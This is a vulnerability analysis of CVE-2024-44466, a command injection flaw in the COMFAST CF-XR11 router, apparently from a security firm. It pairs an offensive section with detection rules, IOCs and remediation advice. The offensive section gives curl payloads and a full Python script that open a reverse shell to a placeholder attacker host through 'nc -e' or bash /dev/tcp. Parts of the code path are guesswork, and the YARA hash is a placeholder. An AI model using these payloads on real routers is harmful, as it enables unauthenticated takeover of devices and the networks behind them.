CVE-2024-44466

Executive Summary

CVE-2024-44466 is a critical command injection vulnerability discovered in the COMFAST CF-XR11 wireless router, specifically in firmware version V2.7.2. The flaw resides in the sub_424CB4 function within the /usr/bin/webmgnt binary. An unauthenticated attacker can send a crafted POST request to the /usr/bin/webmgnt endpoint, injecting arbitrary operating system commands via the iface parameter. This allows for full remote code execution (RCE) on the device, potentially leading to complete compromise of the router and the network it serves. No official patch has been released by COMFAST at the time of this analysis.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level command injection in an embedded device (router). The risk is primarily to end-users who have purchased and deployed the COMFAST CF-XR11 router. Supply chain risks include the distribution of vulnerable firmware by the vendor or through third-party resellers.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the characteristics of the vulnerability, a reasonable assessment is:

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the router itself.
• Confidentiality (C): High (H) - Full access to device data and network traffic.
• Integrity (I): High (H) - Attacker can modify device configuration and firmware.
• Availability (A): High (H) - Attacker can disrupt or disable the device.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full control over the device. Given the lack of a patch, all CF-XR11 V2.7.2 devices are at immediate risk.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the sub_424CB4 function of the /usr/bin/webmgnt binary. This binary is the web management interface for the router. The function processes POST requests and uses the iface parameter in a system command without proper sanitization or escaping.

Vulnerable Code Path (Reverse Engineered):

The sub_424CB4 function likely constructs a command string similar to:

sprintf(command, "iwconfig %s", iface);
system(command);

Or it might be used in a script that passes the iface value directly to a shell. The attacker can inject shell metacharacters (e.g., ;, |, &&, `) to execute arbitrary commands.

Attack Flow:

1. Attacker identifies a COMFAST CF-XR11 router with the web management interface exposed.
2. Attacker sends a crafted POST request to /usr/bin/webmgnt with a malicious iface parameter.
3. The router executes the injected command with root privileges.
4. Attacker gains a reverse shell, installs malware, exfiltrates data, or pivots to other network devices.

Vulnerable vs. Patched Code

Vulnerable Code (V2.7.2):

The vulnerable code in sub_424CB4 does not sanitize the iface parameter. A simplified representation:

void sub_424CB4(char *iface) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "iwconfig %s", iface);
    system(cmd);
}

Patched Code (Hypothetical):

A secure implementation would validate and sanitize the input, or use a safer API that does not invoke a shell.

void sub_424CB4(char *iface) {
    // Validate iface against a whitelist of allowed interface names
    if (strcmp(iface, "wlan0") != 0 && strcmp(iface, "eth0") != 0) {
        // Log error and reject
        return;
    }
    // Use execve instead of system to avoid shell injection
    char *args[] = {"/sbin/iwconfig", iface, NULL};
    execve("/sbin/iwconfig", args, NULL);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A COMFAST CF-XR11 router with firmware V2.7.2.
• Network access to the router's web management interface (typically on port 80 or 443).
• A listener for reverse shell (e.g., nc -lvnp 4444).

Exploit Payload:

The following curl command sends a POST request to inject a reverse shell command.

curl -X POST http://<ROUTER_IP>/usr/bin/webmgnt \
  -d "iface=;nc -e /bin/sh <ATTACKER_IP> 4444;"

Explanation:

• The iface parameter is set to ;nc -e /bin/sh <ATTACKER_IP> 4444;.
• The semicolon (;) terminates the original iwconfig command.
• The nc command executes a reverse shell connecting back to the attacker.
• The trailing semicolon ensures the command is executed.

Alternative Payload (using bash reverse shell):

curl -X POST http://<ROUTER_IP>/usr/bin/webmgnt \
  -d "iface=;bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1;"

Full Exploit Script (Python):

import requests
import sys

if len(sys.argv) != 4:
    print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> <attacker_port>")
    sys.exit(1)

target_ip = sys.argv[1]
attacker_ip = sys.argv[2]
attacker_port = sys.argv[3]

url = f"http://{target_ip}/usr/bin/webmgnt"
payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;"
data = {"iface": payload}

try:
    requests.post(url, data=data, timeout=5)
    print("Payload sent. Check your listener.")
except Exception as e:
    print(f"Error: {e}")

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /usr/bin/webmgnt with suspicious iface parameters containing shell metacharacters (;, |, &, `).
• Monitor outbound connections from the router to unusual IP addresses on common reverse shell ports (4444, 1337, 31337, etc.).
• Monitor for unexpected processes spawned by webmgnt (e.g., nc, bash, sh).

Honeypot:

• Deploy a honeypot mimicking the COMFAST CF-XR11 web interface to capture exploitation attempts.

Network Segmentation:

• Isolate IoT devices like routers on a separate VLAN with strict egress filtering.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /usr/bin/webmgnt with iface parameter containing shell metacharacters.
• Outbound connections from the router to external IPs on ports 4444, 1337, 31337, or other non-standard ports.
• Unusual DNS queries from the router to known C2 domains.

Host IOCs (on the router):

• Unexpected processes: nc, bash, sh, python, perl running with root privileges.
• Modified or new files in /tmp or /var/run.
• Unauthorized SSH keys in /etc/dropbear or /etc/ssh.
• Changes to firewall rules (iptables -L).
• Log entries in /var/log/messages or syslog showing command execution errors.

File IOCs:

• Suspicious scripts in /tmp/ (e.g., /tmp/.x, /tmp/exploit.sh).

Detection Engineering

YARA Rule

rule COMFAST_CFXR11_Command_Injection_CVE_2024_44466 {
    meta:
        description = "Detects command injection attempts targeting CVE-2024-44466 in COMFAST CF-XR11"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-44466"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "/usr/bin/webmgnt" ascii wide nocase
        $s2 = "iface=" ascii wide nocase
        $s3 = ";" ascii wide
        $s4 = "|" ascii wide
        $s5 = "&" ascii wide
        $s6 = "`" ascii wide
        $s7 = "$(" ascii wide
    condition:
        $s1 and $s2 and 1 of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: COMFAST CF-XR11 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /usr/bin/webmgnt with suspicious iface parameter indicating command injection.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-44466
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/usr/bin/webmgnt'
        cs-uri-query|contains: 'iface='
    keywords:
        - ';'
        - '|'
        - '&'
        - '`'
        - '$('
    condition: selection and keywords
falsepositives:
    - Legitimate use of semicolons in interface names (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"COMFAST CF-XR11 Command Injection Attempt (CVE-2024-44466)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/usr/bin/webmgnt"; http_uri;
    content:"iface="; http_client_body;
    pcre:"/(;|\||&|`|\$\().*$/Ri";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2024-44466;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If remote access to the router's web interface is not required, disable it immediately. This can often be done via the router's settings.
2. Restrict Network Access: Use firewall rules to limit access to the router's management interface (ports 80/443) to only trusted internal IP addresses.
3. Monitor for Exploitation: Implement the detection rules provided above to identify any exploitation attempts.

Long-Term Solutions:

1. Vendor Patch: Contact COMFAST support and request a firmware update that fixes this vulnerability. Monitor their website for any security advisories.
2. Replace Device: If a patch is not forthcoming, consider replacing the COMFAST CF-XR11 with a more secure router from a vendor with a proven track record of security updates.
3. Network Segmentation: Place IoT devices like routers on a separate VLAN with strict access controls to limit the blast radius of a compromise.

Workaround (if patching is not possible):

• Implement a reverse proxy (e.g., Nginx, HAProxy) in front of the router that inspects and sanitizes POST requests to /usr/bin/webmgnt, blocking any requests containing shell metacharacters in the iface parameter.

Valters IT
Securing Digital Frontiers